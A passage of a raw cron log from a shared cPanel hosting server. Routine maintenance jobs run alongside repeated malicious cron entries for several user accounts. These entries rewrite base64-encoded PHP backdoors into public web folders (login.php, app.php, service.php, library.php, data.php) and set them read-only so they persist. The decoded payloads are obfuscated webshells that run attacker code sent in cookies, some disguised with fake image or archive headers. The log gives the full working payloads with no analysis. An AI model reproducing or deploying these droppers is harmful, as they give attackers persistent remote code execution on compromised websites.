lmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:39:01 medusa CROND[9753]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:39:01 medusa CROND[9756]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:39:01 medusa CROND[9758]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:39:01 medusa CROND[9760]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:39:01 medusa CROND[9762]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:39:01 medusa CROND[9764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:39:01 medusa CROND[9765]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:39:01 medusa CROND[9766]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:40:01 medusa CROND[27203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:40:02 medusa CROND[27523]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:40:02 medusa CROND[27524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:40:02 medusa CROND[27525]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:40:02 medusa CROND[27526]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:40:02 medusa CROND[27538]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:40:02 medusa CROND[27537]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:40:02 medusa CROND[27539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:40:02 medusa CROND[27544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:40:02 medusa CROND[27540]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:40:02 medusa CROND[27545]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:40:02 medusa CROND[27541]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:40:02 medusa CROND[27554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 08:40:02 medusa CROND[27553]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 08:40:02 medusa CROND[27560]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:40:02 medusa CROND[27561]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:40:02 medusa CROND[27558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:40:02 medusa CROND[27565]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:40:02 medusa CROND[27568]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:40:02 medusa CROND[27575]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:40:02 medusa CROND[27563]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 08:40:02 medusa CROND[27583]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:40:02 medusa CROND[27584]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:40:02 medusa CROND[27586]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:40:02 medusa CROND[27557]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:40:02 medusa CROND[27593]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:40:02 medusa CROND[27587]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 08:40:02 medusa CROND[27573]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 08:41:02 medusa CROND[11382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:41:02 medusa CROND[11593]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:41:02 medusa CROND[11598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:41:02 medusa CROND[11599]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:41:02 medusa CROND[11602]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:41:02 medusa CROND[11610]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:41:02 medusa CROND[11611]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:41:02 medusa CROND[11612]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:41:02 medusa CROND[11613]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:41:02 medusa CROND[11614]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:41:02 medusa CROND[11617]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
